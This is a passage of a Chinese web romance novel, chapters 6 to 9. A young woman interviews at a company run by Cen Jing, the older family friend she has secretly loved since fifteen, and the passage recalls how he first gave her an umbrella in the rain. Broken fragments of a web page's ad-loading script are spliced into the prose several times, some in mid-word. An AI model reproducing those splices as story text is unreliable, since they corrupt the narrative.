所以这把一直都在最角落里,无人问津,若不是越清舒突然拿起来,莘兰都快忘了家里有这把伞了。 其实现在也没想起来,这把伞是什么时候出现的? 不像是他们家会买的款式。 但越清舒拒绝了莘兰的提议,她白皙细长的手指紧紧握着这把雨伞的伞柄。 “不用了妈妈,我比较喜欢这把。” 越清舒偏了下头,难得有几分俏皮劲儿地打趣。 “我的第六感告诉我,它会是我今天的幸运好物哦。” … 带着长柄伞去赶公交车不是很方便。 早高峰,拥挤的公交车上,她一只手抱着自己的雨伞,一只手抓着扶手。 她在这个困顿繁忙的车厢里,抬眸看着在播报下一站信息的小屏幕。 -【欢迎乘坐三十六号公交车,祝您今天有个美丽的心情,下一站,喜莱集团。】 车门打开的瞬间,外面清透的空气钻进来,越清舒觉得自己是被人推着下车的。 刚下车,她听到身旁有一道女声:“终于到了!!啊啊啊啊啊——” 越清舒下意识地回头看过去。 那女生感觉到她的目光,瞬间有些不好意思,但看着她的打扮,又心中有些了然。 “欸,你也是今天来喜莱面试的嘛?” 越清舒点头,礼貌道:“你也是吗?” “是呀。”她拉了拉背包,“你是哪个部门呀?” 越清舒:“营销。” “哦哦,我是开发部~”她挺自来熟,“要是咱俩都进了,还会有工作往来欸!” 八字还没一撇的事呢。 越清舒没忍住笑出声,觉得这种乐天派,也挺可爱的。 越清舒也没想到,自己竟然应声:“是哦。” “哈哈哈,那提前认识一下!万一进了,你就是我在公司的第一个朋友!” 女生很是热情。 她朝越清舒伸出手—— “我叫邓佩尔,叫我尔尔就可以啦!” 越清舒微微一笑,回握了一下:“越清舒,昵称的话,都可以。” 因为她的姓氏不常见,高中同学甚至有人会叫她“越越”。 两人就这么结伴同行,邓佩尔说起自己刚才下来大叫的原因。 “天哪,我好不容易挤到一个位置,结果我旁边那个人在车上吃鸡蛋,我真的要疯了!” “在这种密闭空间里吃鸡蛋不就是生化炸弹吗?!” “刚才下来的时候,我有一瞬间无比感谢喜莱集 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 团的位置,让我在这里就可以下车了…” 邓佩尔的话还没说完,忽然扫到旁边缓慢驶过的一辆黑色轿车。 总觉得,明明很普通,但却隐约让人觉得紧张。 越清舒见她忽然安静,也看过去,她看着那辆跟自己带的雨伞同样漆黑的色彩,目光微顿。 车窗刚刚关上,已经看不见半点车内人影。 她目光下移,看了一眼车牌号。 邓佩尔:“这是什么车?” “迈巴赫。”越清舒说,“走吧,别一直看它了。” “啊?就是那个传说中,霸总必备的迈巴赫?咋长得这么低调呢?” 邓佩尔实在没看出什么特别的。 没见过,再看看。 她一直不走,看着那辆车慢慢往里开,奇怪的是,那辆车走到停车场入口前停了下来,没进去。 干嘛不走了?难不成停在这里让她看啊? 邓佩尔还在研究,却突然觉得自己的衣服被人抓了一下,越清舒抓住她往里走。 “别看啦,小心是大boss的车哦。”越清舒轻笑提醒,“据说他性格很差的,你再看看下去,他一会儿直接通知,把你pass掉怎么办?” 邓佩尔吓得一抖,赶紧脚底抹油,但跟上去以后,她忽然觉得哪里不对。 “你怎么猜到是大boss的车?有这么明显吗?” 倒也不是明显,只是她前些日子刚坐过他的车。 越清舒随便找了个理由:“嗯,都说我猜的嘛,不一定是真的。” 邓佩尔不再追问,两人一起去了前台登记, 前台让越清舒先把雨伞放在一楼储物的角落,不用带上楼上的办公区。 越清舒那把长柄伞,放在墙边靠着,又滑下来,最后实在没有办法,她只能让它可怜巴巴地平躺在地上。 “这伞多麻烦呀。”邓佩尔也说她,“你没有小巧折叠的那种嘛?” “有的。”越清舒说,“我比较喜欢这把,就带了它。” 邓佩尔觉得她是个“怪人”,感叹:“这个世道,像你这样坚持带着如此麻烦长柄伞的人不多了…” 年轻女孩子的嗅觉更为敏锐。 邓佩尔想到什么,凑近,神秘兮兮地问她。 “哈哈,是不是你喜欢的人送的?” 越清舒的心绪微动,还没来得及回答,后面传来一阵一阵的问好声。 ——“岑总早。” ——“早上好,岑总。” 她猛地回过头去,在攒动的人潮中,下意识地捕捉到他的身影。 严肃的工作时间,岑景穿了套和她手边的伞色彩一样的西装。 不需要任何别的色彩点缀,只单单的一个黑色。 他穿纯黑色很好看。 威严庄重,令人无法靠近,“高高在上”这个词放在岑景身上,并不会惹人反感。 岑景对这些招呼都只是淡然地点头,快步乘上电梯,并未察觉到她的存在。 他连一个眼神都没有回望过。 越清舒的心脏颤动。 她意识到,自己总是能在无边的人潮中一眼找到他,但岑景却从未有过片刻的分神。 下过雨的潮湿空气无法解决嗓间的干涩。 越清舒舔了舔自己干燥的嘴唇。 “嗯。” “是我十五岁喜欢的人,初遇的时候送我的伞。” 6.[the sixth day] [the sixth day] - “十五岁喜欢的人?天哪,那你也太长情了,你现在多大了?二十二吗?” 刚刚大学毕业的话,应当是这个年纪。 “二十三。”越清舒报了个岁数,“我本硕一起读了五年。” 邓佩尔:“……” 意思是,她喜欢了那个人八年?一个人的一生能有多少个八年啊。 她要是有这毅力,做什么不能成功啊! “得是多优秀的人,才能让你喜欢这么这么久啊…”邓佩尔感叹道。 越清舒稍微愣了下,她忽然轻笑,回答说:“其实是个很普通的人。” 邓佩尔:??? 不信! 大美女怎么会暗恋普通人整整八年!难道让她遇到超绝恋爱脑了? 两人的面试岗位不同,也不在一个楼层,邓佩尔先到,就下了电梯。 下去前,她还给越清舒加油打气。 “要加油哦,争取以后可以一起上下班!” 越清舒点头,看着电梯门合上,继续上行,这次市场营销部招聘的名额是几个部门里最少的。 他们只招一个人,据说看简历的时候就卡掉了一大堆人,最后被邀请来面试的,不过五位。 五个人里挑出一个留下来,还是有些竞争压力的。 越清舒到得最晚,是最后一个签到的,自然也是被安排到最后进行面试。 签到的姑娘有些担忧地看着她:“怎么来得这么晚呀?” 面试留在最后一个,其实挺不安全的,除非能力格外出众,不然这时候,面试官都已经有些疲态了。 但越清舒没什么反应,只确认了一遍:“我没有迟到吧?” 她记得自己收到的邮件里说的是上午十点,她还提前了一些到呢,九点半就在公司楼下了。 这会儿虽然临近,但也就是九点四十多。 接待员摇头:“没。” 越清舒:“那就行。” 面试在上午十点准时开始,越清舒坐在外面翻阅书架上的书。 公司的书架上基本都是跟自家公司有关的内容,其中不乏一些介绍岑景的图文。 她总是在看到跟他有关信息的时候稍作停顿。 前面四位面得都很慢,平均一场要花半小时,等到要叫她的时候,已经中午十二点。 “越清舒小姐,你稍等一下哈。”接待员微微点头,“我先问一下是否需要休息。” 严格来说,十二点大家就要午休了,喜莱集团的优点之一就是,休息时间非常严格。 该休息就休息。 也是没想到前面那几位进度这么慢,竟然也直接到了午休时间才排到越清舒。 “Vivian…”接待员小心地冒头,“要先休息吗?我叫外面那位小姐下午上班再来?” Vivian有些头疼,揉了揉太阳穴,也觉得失策,面试时间是很久之前就定下来的,通知也是早就发好了。 只是昨天登亚那事一出,感觉连带着今天面试的难度也提升了。 营销部临时给面试的人出题,叫他们给出一些针对此事的方针方案,测试其危机公关的能力,结果就把面试时间都搞得长了一些。 虽然公司休息时间一直很稳定,但她觉得,让人家等了这么久,也不合适。 还是先面了比较好。 Vivian先看了一眼旁边垂着眼的男人。 “岑总。”她唤道,“要不您先去休息,最后一个我们来面就好。” Vivian在岑景身边工作这么多年,对他的性子也有些了解,他是最遵守时间和安排的一个人。 岑景最讨厌的事情,无非就是,有人打破他的计划和规则。 所以她才会问他,叫他先去休息。 她看着岑景,没想到他却抬了抬眸,示意道:“让她进来。” 接待员微微颔首。 “好的。” Vivian愣了好几秒,余光扫着最后一份简历,年轻女孩漂亮的面容令人挪不开视线。 岑景不是一个颜控,他从不会因为外表去判断一个人的价值。 难道是因为她的简历漂亮?能力突出? 这姑娘的简历确实挺厉害的,本硕都是在斯坦福大学,期间还自己攻读了双学位。 但其实,令人更意外的是—— 她的简历里,写她曾经发表过几篇与海洋保护相关的论文。 这完全跟她专业的方向、求职的方向无关,Vivian当时看到她的简历,也很惊讶。 这一项是为什么填在了这里? 不管怎么说,越清舒的学历和实践履历、经验,就是很拿得出手。 只是…岑景的眼光高傲且刻薄,他不是没有见识的人,不应当会因为这样的简历就打破自己的午休规则。 Vivian便顺口问了句:“是因为觉得我们的处理方案太差,所以你对这次秋招格外重视吗?” 昨天他们整个市场营销部加班,终于在半夜给岑景提交了一份报告。 最后Vivian什么反馈还没收到,倒是收到他助理的通知。 -【明天市场营销部的面试,BOSS要亲自面。】 半分钟后。 会议室的门轻轻敲响。 女生穿着一件奶咖色的休闲西装,衬衫前方有系带,整个人看着淡然温和。 她丝毫不紧张,只是,进来的时候… 她第一眼看到了岑景。 越清舒的目光明显在岑景身上停顿了两秒,而后又自然地挪开。 Vivian想。 且不说身份,岑景那张脸和气质本就出众,引人注目,会注意到他,好像也不奇怪。 面试正式开始。 她的流程比别人进行得更快,更顺利一些,仅仅过了十分钟,越清舒就直接来到了最后的环节。 Vivian正想提问,旁边的岑景忽然动了动,他看向越清舒,语气平静到甚至让人觉得是冰冷的。 “既然来喜莱面试,你应该了解昨日登亚的事情。”岑景说,“那么,你对昨天的事情有什么看法?” 越清舒睫毛微动,像蝴蝶振翅。 “对方这次营销很厉害。” “他们新上任的CMO并非工商类专业出生,一开始只是一家小餐馆的厨师。” “后来他开始独立创业,准备扩大版面,但实体经济并不是那么好做起来的,他赔得血本无归。” “走投无路的时候,登亚的前任CMO忽然找到他,问他要不要登亚做营销,从头开始。” “短短两年的时间,这个人就从底层爬到了新任CMO的位置。” “他们这次营销的成功,并非偶然,对方是很有实践经验的天才,对于喜莱来说,后续还有很长的路要走。” 越清舒这段话说完,旁边已经有人的表情不是很好看。 叫你来面试,来想办法,不是叫你来夸对家,说我们自己很艰难的! 谁不知道我们自己现在很艰难! 但大boss都没发话,其他人也不敢吱声,岑景手上的钢笔在她的简历上随便点了点。 随后,一滴墨水刚好落在她的照片上,开始慢慢晕开,稍有不慎就会弄得到处都是。 他皱眉,眼神示意助理处理。 汪嘉瑞赶紧拿走他手边的简历,也擦不干净了,只得先丢在一边的废纸堆中。 越清舒看着他身边助理的动作,猜测岑景对她的回答不是很满意。 他或许不喜欢别人忤逆他,或是说这种晦气的话,所以叫助理把她的简历扔掉。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但对越清舒来说,这是事实。 会议室里陷入了好几秒的寂静,最后还是Vivian开口,问她。 “所以,越小姐,若是你入职了喜莱集团,觉得自己会如何应对此事呢?” 越清舒的眼神明亮,“抱歉,我现在无法回答这个问题。” 众人一愣,些微唏嘘。 这么漂亮,这么有骨气,但好像不太聪明。 “我刚才说了,对方是很有能力的对手,不可轻视,不管在哪里,都要学会尊重自己的对手。” 轻敌只会毁掉自己。 越清舒说着。 “我并不觉得我能够现场十分钟给出你们什么很好的方案。” “一个方案没有好的结果,对我来说,那不如不在上面浪费时间。 “各位不觉得,临时出个策略来分析,这个行为稍微有些草率吗?” 她的嗓音是柔和的,总让人想起缠绵悱恻的春日细雨,但砸下来的瞬间,却让人觉得。 温柔的雨化成了一颗颗冰粒,刺骨尖锐得很。 越清舒说完以后,主动看向了岑景,她那反客为主的能力有些太过突出。 “岑总。” “你说呢?” 岑景嘴角一弯,“那你说说凭什么?” 他顿了顿,同样刺骨和尖锐。 “跟别人的努力、认真分析、想要解决问题的表现中,你有什么优势,要让我选你。” 无端的战火瞬间炮仗。 旁人:…… 惹谁不好,干嘛惹老板? 在成年人的职场潜规则里,很多事情根本无关能力和是非对错,决定硬币正反的,只是上位者的一句话。 他们没有原则,做事只凭心情,甚至几个亿、几十个亿的项目。 只要开心,赔进去就得了。 但令人意外的是,越清舒没有丝毫退缩,她挺直了后背,看着他。 她的话语里甚至藏着一丝威胁。 “你难道不会好奇吗?” “不会好奇,我来了喜莱以后,会给你们做出什么样的方案。” 岑景没有正面回答,而是淡淡地看着她,问了她一个显而易见的问题。 “你怎么知道我是谁?” ——来面试,知道大BOSS长什么样,不是很正常么,况且,他又不是什么不好认的大众脸。 越清舒是从他这句话里感觉到,岑景是真的有点不爽自己,他在试探她。 如此公然挑刺,不听话,是不是因为知道自己是关系户? 故意的嚣张跋扈公主做派。 他想听她的意思,来决定她的去留。 是直接暗示他“小叔叔,我就想来喜莱”,还是告诉他“什么都不需要”。 她的手指倏然收紧了一下,猜不透岑景的心思和喜怒,只能安分做好自己的事。 “我在外面等了两个小时,书架上全是跟你有关的书,每翻几页都有你的照片。” “就算我是一条金鱼,记忆只有七秒。” “也不至于刚才在外面看完照片,进来就不记得人了。” 又安静了几秒。 岑景只是淡淡地“哦”了一声,没有接前面的任何话题,只是转头告知Vivian。 “就到这里。” Vivian了然,告诉越清舒可以先离开,剩下的回家等通知就行。 越清舒点头,起身离开。 只是人刚从会议室出去,她的手机就震动了一下,拿出来看消息。 -【岑】:为什么来喜莱? 她有很多选择,但偏偏选了喜莱,这事落在岑景眼里,大概也是荒唐。 越清舒也顾不上岑景信不信。 她破罐子破摔,回复他。 -【不是因为你。】 7.[the seventh day] [the seventh day] - 越清舒并没有撒谎。 她选择喜莱,跟岑景没有半点关系。 虽然她的确喜欢她,但越清舒一直都觉得,人的理智和感情是分开掌管的。 她不会强迫用理智来改变自己的感情,不会因为知道结果,因为怕自己难过,所以去逼着自己不喜欢。 毕竟喜欢岑景,是一件自然而然的事情。 既然无法抗拒,那就顺应接受。 就像现在,越清舒以为自己跟他六年没见,应该早就忘了自己少女时代的暗恋。 没想到… 从飞机落地,她知道岑景要来接的那一刻开始,她就心跳嘭嘭嘭。 越清舒几乎没有任何思考和纠结、拧巴的情绪,就确认了,原来她真的还喜欢岑景。 真是奇妙啊。 不知不觉,竟然已经喜欢他八年了,她目前超过三分之一的人生,都岑景有关。 他应该…想不到也猜不到吧。 在岑景的心中,那份喜欢可能只是小姑娘的一时兴起,她觉得他应该根本没有把这件事放在心上。 面试结束后,越清舒下楼去拿雨伞,刚刚碰到伞柄准备拿起来,手机又震动了几下。 消息依旧是岑景发过来的。 -【去吃午饭?】 -【来停车场。】 她拿好伞,又转身朝电梯那边走,前台看着她走的方向,赶紧提醒。 “欸,女士!出口不是这边哦,你走反啦,从你上午来的那个门出去就行。” 越清舒的脚步微顿,“刚才有东西落在楼上啦,我上去取。” “哦哦哦,这样啊~”前台应着。 她以为越清舒走错,但现在转念一想,也是,这么明显的出口,怎么会走错呢? 但奇怪的是。 越清舒这么一进去,就再也没有出来过。 … 地下停车场。 越清舒认出岑景的车,她缓步走过去,轻轻敲了一下后座的车窗。 下一秒,门锁开了。 她敛着眸上车,还没关门的时候,越清舒听到前排的他淡淡地开口。 “外面下雨了。” 密闭的空间下,岑景的声音更为低沉,一句句话,都轻易地闷在人的胸腔中。 “嗯。”越清舒应着,顺手把雨伞拿进来,“我带伞了…” 片刻停顿后,她补充道。 “你的伞。” 越清舒是故意带上这把伞的,这是她难得能找到的,跟他有关的东西。 就像学生时代借来借去,掩藏着心动的校服外套。 这把雨伞是他们之间的缔结。 果不其然。 岑景微微侧身回头,垂着眼去看她拿上来的这把伞。 “我的伞?”他的声音往下压了压,“我什么时候留了伞在你家,我怎么不记得了?” 越清舒的嗓子瞬间干涩收紧。 “……很久以前。”她说,“以前你送我的。” 男人轻嗤了一声,随意却又有几分认真地纠正道:“那这就是你的伞,不是我的。” 两人的对话戛然而止。 岑景点开了车内广播,刚好是天气预报的时间,背景声里带着淅淅沥沥的降雨音效。 “今日空气湿度百分之七十,降雨概率百分之八十,空气潮湿阴冷,请各位听众朋友注意添衣,备好出行雨具…” 空气潮湿得令人觉得水汽满溢,但越清舒却觉得眼睛、嗓间干涩。 她那自以为是的小心机,被岑景看得明明白白,也被他拒绝得干净利落。 一阵无言。 越清舒回眸去看身旁的那把雨伞,倏然想起跟岑景初遇的那天,也是这样坏天气。 2014年秋天。 越清舒随再婚的母亲来到陌生的城市。 十五岁的她并不能理解父母的婚姻为何会走向衰亡,印象中,他们似乎没有发生过剧烈的争吵。 她对这一切都感到猝不及防。 甚至他们离婚这件事,是已经办完了手续后,才“通知”她的。 越清舒无法用别的词汇来概述这件事。 她只能说,这是通知。 心中有万千疑问,但越清舒什么都没问,安静地接受了一切,不哭不闹。 她想。 人的离开好像都是这样悄无声息的,就像当初外婆去世,也是很突然。 总觉得上个月还在跟她打闹,第二月再见的时候,就已经是冰冷的温度。 她从十五岁时就深谙的道理。 离别总是安静又突然的,大开大合的剧情和疯狂的争吵,只存在于文艺作品中。 父母离婚后,她跟随了母亲,再后来莘兰再婚,她跟着搬到沪城。 这座让她觉得陌生且晕眩的城市。 在无边无尽的高楼林立中,在一座座反光的、精致漂亮的玻璃房子中。 她忽然想起小时候去水族馆时,看到的困在玻璃缸中的鲸豚。 周遭的小朋友都在惊呼和好奇的时候,越清舒只觉得自己的胸口闷闷的,那时候她说不上来原因。 后来她被困在陌生城市的雨幕中,那种闷闷的感觉再一次袭来… 她才明白,那是一种被困的束缚感。 营造这个牢笼的人自认为为其提供了足够的生存空间,但从未有人在意过,它们是不是真的想留在这方天地之下。 新学校是寄宿模式。 现在大部分高中都是住宿,便于更好的管理和跟进越发内卷、紧张的学业。 第一周结束后,越清舒觉得自己缺了很多东西没买。 她懒得来回折腾,便选择了离学校最近的一家超市来添置生活用品。 在附近买可以直接拿回学校宿舍,之后再回家。 她提前跟妈妈说过情况。 莘兰问她需不需要叫个人来帮忙,越清舒拒绝后,莘兰给她转了两千块。 这对刚上高中的越清舒来说,不是一笔小数目,她觉得莘兰好像想通过钱来补偿她。 继父比她的亲生父亲有钱太多。 这两千对他们来说,好像也有些不痛不痒了。 她买好一大堆东西,从商场出来的时候,发现外面不知道什么时候开始下雨了。 当下雨来潮。 秋季的冷空气碰撞凶猛,大风肆虐,气温骤降。 下得细密且猛烈的雨,被风吹进屋檐下,越清舒手上的塑料购物袋被风吹得哗啦作响。 有人冒着雨在路口拦车,有人提前备好了雨伞,也有人在打电话叫人来接。 只有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 越清舒,被这场雨淋得心口闷闷的,泛着那轻微的窒息感,她缓缓在角落里蹲下。 所有人都找到了幸福的答案。 那她呢。 在所有故事和决定里,都是多余的,都是可以被随便通知的角色。 “爸爸,为什么我觉得这条鲸鲨不开心?” “笨蛋小舒,鲸鲨怎么会不开心呢?它们既不会哭,也不会笑。” “是吗?可我觉得它真的不开心。” “别想那么多了,可能是因为它最近刚搬过来吧,如果有一天,你要搬家去新的地方,也跟它一样,需要慢慢适应的。” “那我也会不开心吗?” “不,小舒会永远开心的。” “可是爸爸,我为什么需要搬家呢?我想一直留在珠洲。” “傻姑娘,你不可能一辈子都生活在一个地方的,你也要适应换着城市生活。” 她不想搬家,也不想去别的城市生活,她只想在自己自由的天地之间畅游。 后来她登上飞往沪城的航班,才明白。 原来她真的跟那些鲸豚一样,不需要任何的自主意愿,只需要被装在运输的容器里,带到下一个城市的玻璃缸中继续养起来。 因为没有人觉得它们会哭,所以也没有人会察觉到它们的难过。 雨一直没有停。 没有人知道这场雨要下多久。 越清舒蹲得整个人都有些麻木了,看着来往的人潮,就像被封闭起来的鲸鲨看着身侧游过的小鱼。 模糊的视线里,忽然看到一个人的脚步停了下来。 男人穿着干净锃亮的黑色皮鞋,在这暴雨中竟避开了溅起的泥水。 她世界中的雨被人挡住。 从他站在她面前的那一刻开始,再也没有一滴雨落在她身上。 越清舒慢慢抬头。 男人的五官硬朗,眉眼深邃,他的眉弓和眼窝都很深,山根和眉毛之间的阴影浓重。 五官和面部折叠度都有些欧美人的气息,但肤色发色一看就是中国人。 看起来…好像有些混血。 但这不重要,越清舒只觉得,这是她十五年来见过的最精致且惊艳的一张脸。 “没带伞么。” 他的声音从上方传来,将她从烦闷的深水区一把拽了出来,得以喘息。 随后,他伸手给她递了一把黑色的长柄伞。 男人本来想转身就走的,但似乎又有些于心不忍。 他垂眸看着她。 越清舒觉得他这个人的气质清冷、疏离,看她的眼神也是有些凉意。 但他却用这么冷淡的一张脸,用着最无情的语气,说着最有温度的关心。 “降温了,早点回家。”他顿了顿,“别冻感冒了。” 以前的越清舒不相信一见钟情,可在他离开以后,她捂住自己发烫的脸和心脏乱跳的胸口。 少女爱恋,瞬间满溢。 越清舒撑开雨伞。 他给得这把伞足够大,可以把她整个人和所有东西都笼罩在保护之下。 她忽然在这个陌生又繁忙的空虚城市之间,找到了一丝继续走下去的理由。 就这么,期待着在茫茫人海与他的再次相见。 就算不再见也没关系,总归是,多了个念想和可以期待的事。 8.[the eighth day] [the eighth day] - 静谧的地下停车场内。 越清舒产生了一丝幻觉,觉得外面似乎在下雨,空气变得愈发超潮湿黏腻。 岑景迟迟没有启动车。 过了几分钟,他调低了车内广播的音量,越清舒听不清广播里在放什么歌。 只能听到很浅的,熟悉的一段韵律。 好像是张学友的《慢慢》。 她隐约听见那浅浅的声音—— [慢慢慢慢心变成铁 慢慢慢慢我被拒绝 你何忍远走高飞要我如何收拾着爱的残缺] 这首歌她第一次坐岑景的车时就听到过,后来很长时间,她都伴着这首歌入睡。 带去学校的MP3里,只有一首歌。 便是这一首。 所以只是一个淡淡的音律,她也很轻易地就听出来了是这首歌,就像… 时隔六年。 岑景一个淡淡的眼神,她就还是心动得不可自拔。 越清舒下意识地跟着轻哼起这首歌的曲调,只是刚刚哼了两句,她听到岑景在跟人通话。 “嗯,去吃午饭,你去么?我在停车场等你。” “不去?” “行,那你休息。” “这周末的安排,你没什么事就照常。” 越清舒愣了下,隐约觉得有些不对劲,心跳漏了好几拍,在岑景挂断电话以后。 她舔了舔唇。 “是还要等其他人一起去吗?” 岑景微微颔首,将车启动,方向盘轻松一转,车就开了出去。 他只说,“我女朋友。” 越清舒的手倏然收紧,虽然上次试探着问他的时候,就已经猜到了答案。 但现在听他亲口提起,还是觉得心里闷闷的。 人好像无法规避这种酸涩感。 岑景在此时此刻提起这件事的目的不言而喻,这也是他提醒她要注意分寸和自己身份的手段。 “我们现在去接她吗?”越清舒深呼吸了一口气,“我下午也没什么事情了,准备回家,我回家吃也可以…就不打扰你们约会了。” 她觉得自己再理智控场。 估计也会很难去眼睁睁地看着他谈恋爱吧。 岑景从后视镜里看了她一眼,只用了这两秒钟的时间,就确认了她的心情。 “不用。” “她说今天工作忙,在公司处理。” “我陪你吃个饭,送你回去,省得你周叔回头说我照顾不周。” 越清舒跟他对上了眼神。 她很清楚,岑景已经把她看透了,他肯定已经猜到了她的全部心思。 但他还是出于作为长辈的责任,要照顾她。 越清舒低下头,没说话,看着雨伞的伞柄,忽然说:“岑小叔,其实不用这么照顾的。” 她说着。 “我这次回来,就是不想受到多余的照顾,才选择喜莱。” “我相信你是一个公私分明的人。” “如果你觉得我今天在面试的时候很冒犯,也可以让HR直接了当地拒绝我。” “如果你也要对我特别照顾的话,我只能遗憾地把喜莱也移除我的选择范围了。” 岑景又从后视镜里看了她一眼。 他没有解释太多,单单三个字回应她:“知道了。” 他知道了她的想法和选择喜莱的理由。 但无人可知,岑景所说的这句“知道了”,到底有几分真假。 是真的公事公办,还是…暂时安抚她情绪的说辞? … 越清舒坚持不想吃这顿午饭。 说是公司附近,若是被人看见了,也不是很方便,但岑景下午本来就还有别的安排。 他没有必要为了她打破自己的午休规律。 最后这顿饭真的就没吃成,岑景也不是一定要请她去吃这顿饭。 对于他而言,这本身就是可有可无的人际,既然越清舒觉得不需要,那就不去。 他把车停在附近一个非常静僻的小巷子里。 越清舒拿着自己的雨伞下车,又走了好长一段弯弯绕绕的路,找到熟悉的三十六路公交车站牌。 这一次,越清舒站在站牌前面,看了很久三十六路现在的路线。 她曾经很熟悉三十六路公交车。 因为每次不开心的时候,她都会坐这一班车绕路,在清水湾公交站下车,去入海口的海边吹吹风。 印象最深刻的,当然还是被岑景拒绝的那天。 她坐的也是三十六路。 三个小时的漫长绕路,她在车上哭得眼睛都有些肿了,中途下车买了两瓶冰水来消肿。 熟悉的路线不再熟悉。 越清舒揉了揉有些发涩的眼睛,无奈轻笑:“以后再也没有同样的路线让你躲起来哭鼻子咯。” 但也是。 喜欢归喜欢,但她应该,不会再为岑景落泪了。 人到了二十几岁后,好像就没有那么多情绪了,该收起来的,全都被收了起来。 天气预报没有骗人。 十几分钟后,真的下了一场暴雨,越清舒最后没有上车,而是冒着雨、撑着伞,慢悠悠地往回家的方向走。 她也没注意自己的手机有些进水关机了。 只觉得世界好安静。 这是个属于她一个人的雨天。 莘兰给她打了好几个电话没接通,最后无奈之下,只能把那通电话打到岑景那里。 “小岑啊。”莘兰的语气焦急,“你们的面试结束了吗?” 电话那边的男人似乎以为她是来问越清舒的表现的。 “嗯。”岑景翻看着文件,回忆道,“不太意外,她很有想法,表现也很好,面试结束以后CMO来找我私下夸过她。” Vivian的意思是,留下她。 当然,抛开所谓的关系不说,岑景也觉得今天越清舒的表现还不错。 虽然算不上顶尖,但她确实表现得很沉得住气,市场营销部需要这样的角色。 很多人觉得营销就是需要“炸”,在这个思维影响下,很容易一时冲动做出错误的决定,或是做方案的时候根本没有办法脚踏实地。 但很显然,越清舒身上没有这样的毛病。 他本想让莘兰放心,越清舒今天的面试结果应该不会差,但那边却传来。 “不是。” “是小舒一直没回家…打她电话关机。” 莘兰不是一个稳不住的人,平日里也不会想打扰别人的工作,这明显是真的没办法了。 “所以我来问问,你们面试是什么时候结束的,面试结束以后,小舒跟你见过面吗?” 岑景的笔往桌上一放。 “已经两个多小时了,她还没到家?”他问。 “嗯…”莘兰继续问,“她是两个小时前走的吗?” 岑景觉得有些头疼,揉了揉太阳穴,但语气十分平稳。 “外面在下雨,可能手机不小心进水了,不用太担心,我帮忙找找。”他安抚道。 莘兰也不想一直打扰他,只得说:“好的啊,麻烦你了,我和老周也找找。” 岑景:“没事的,她已经是个大姑娘了,心里有数。” “嗯,我们知道,只是她一直没回来,我有点担心而已。”莘兰说,“真是奇怪…怎么突然半天不回家…” 又没有发生什么事,这么大的姑娘了,还能突然离家出走? 岑景听懂里面的说辞,微微皱眉。 电话匆忙挂断,双方各自找人去了,岑景看了眼微信的聊天列表。 先给徐澈时发了个信息。 -【帮我找个人。】 徐澈时可以说是岑景的“眼睛”,说好听点,开赛摩畅游沪城。 说难听点,街溜子。 徐澈时:【?】 徐澈时 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :【找谁?还有你叫我帮你找人的时候,谁又惹你了,我的景哥哥。】 阴阳怪气一通。 岑景手上没有越清舒的照片,只能给他发了个地址,大概描述了下。 -【就这个路线,黑色长柄伞,休闲西装。】 徐澈时:【?连照片都没一张,我怎么对上号。】 岑景:【这个天气没几个人会在外面瞎逛。】 他顿了顿,阐述了一个客观事实。 岑景:【她很漂亮,不需要照片,你遇到她就能认出来。】 徐澈时难得见岑景夸人漂亮,总觉得闻到了点儿八卦的味道。 徐澈时:【卧槽,真的假的,你都说漂亮的妹?谁啊?新对象?不是,你之前那个知性懂事的,好像没分吧。】 徐澈时:【行,你也学会家里红旗不倒外面彩旗飘飘这套了?】 徐澈时还想继续往下说,结果被岑景打断。 岑景甚至懒得跟他打字废话,弹了个语音条过去。 “周为,周哥的女儿。” 徐澈时:……………… 徐澈时:【没记错的话,跟你表过白的那个?】 徐澈时知道这事,完全是个意外,越清舒表白那天,刚好被他们一起玩赛摩的人见着。 说是岑景跟一小姑娘遛弯儿呢,压马路一晚上都没睡,在沪城搞浪漫主义。 最后两人还一起去看日出。 有一次他们有商务酒局,岑景难得喝多,晕乎晕乎的时候被徐澈时套了话。 “你跟那姑娘怎么回事啊,老牛吃嫩草啊?” “能有什么?她喜欢我而已。” “什么叫喜欢你而已?话说清楚点儿啊。” 岑景这个人骨子里就是高傲的,喝多了酒,傲慢劲更是明显。 “她喜欢我,想要个结果。” “我能给她什么结果?” “你会喜欢一个,朋友家的、你看着长大的小女孩儿吗?我对她有印象的时候,她才十五岁。” 徐澈时点头,若有所思:“也是,你也不能继续干你的畜生事。” 岑景这个人,徐澈时是了解的。 岑景自己都会觉得,别人喜欢上他,是一件很正常的事情,他对很多人的喜欢都睁一只眼闭一只眼。 岑景绝对算不上一个好人。 他甚至会利用别人的喜欢,来行自己的便利。 大学时,他们一起逃课,岑景从来没有被记录过。 因为,他知道班长喜欢他。 徐澈时那时候问过岑景,“喂,你是真大直男,没看出来?还是说,你就是故意的?” 岑景语气淡淡的:“看出来了。” “那你没打算对人家的喜欢负责吗?”徐澈时惊呼,“而且她还帮你打掩护!” 但岑景说。 “负责?” “因为她喜欢我,我就需要负责,那我这辈子需要对多少人负责?” 感情上的事情,不就是一个愿打一个愿挨么。 “她完全可以不用这样做。” 从那一刻开始,徐澈时就知道,岑景这人,就他妈是个大坏比!! 哪个女人靠近他,能被吃得骨头都不剩。 再后来,听说了越清舒的事情,徐澈时感叹,那是岑景第一次做好人。 因为他明确地给了她否定的答案。 岑景对于她,是拒绝得干净利落,不留念想,告诉她不会有结果。 后来徐澈时听说过她出国的事情,但其他的,就没有任何信息了。 岑景也没有提起过这个人。 没想到…她竟然回来了。 半分钟后,徐澈时收到岑景的回复。 -【是她。】 徐澈时想了很久,又问他。 -【这姑娘现在还喜欢你吗,都又五六年了,应该不喜欢了吧?】 但奇怪的是。 他这次没有再收到岑景的回复。 9.[the ninth day] [the ninth day] - 世界下着雨。 但她躲在雨伞遮挡下的的方寸之间。 路上行人鲜少,连过往车辆的行驶速度都有所放缓,除了连绵不断的雨,整个世界好像都在放慢步调。 降温的天气,起了一层薄薄的雾。 这让越清舒想起自己在伦敦呆的那段时间,某个寒假,她在伦敦过了冬。 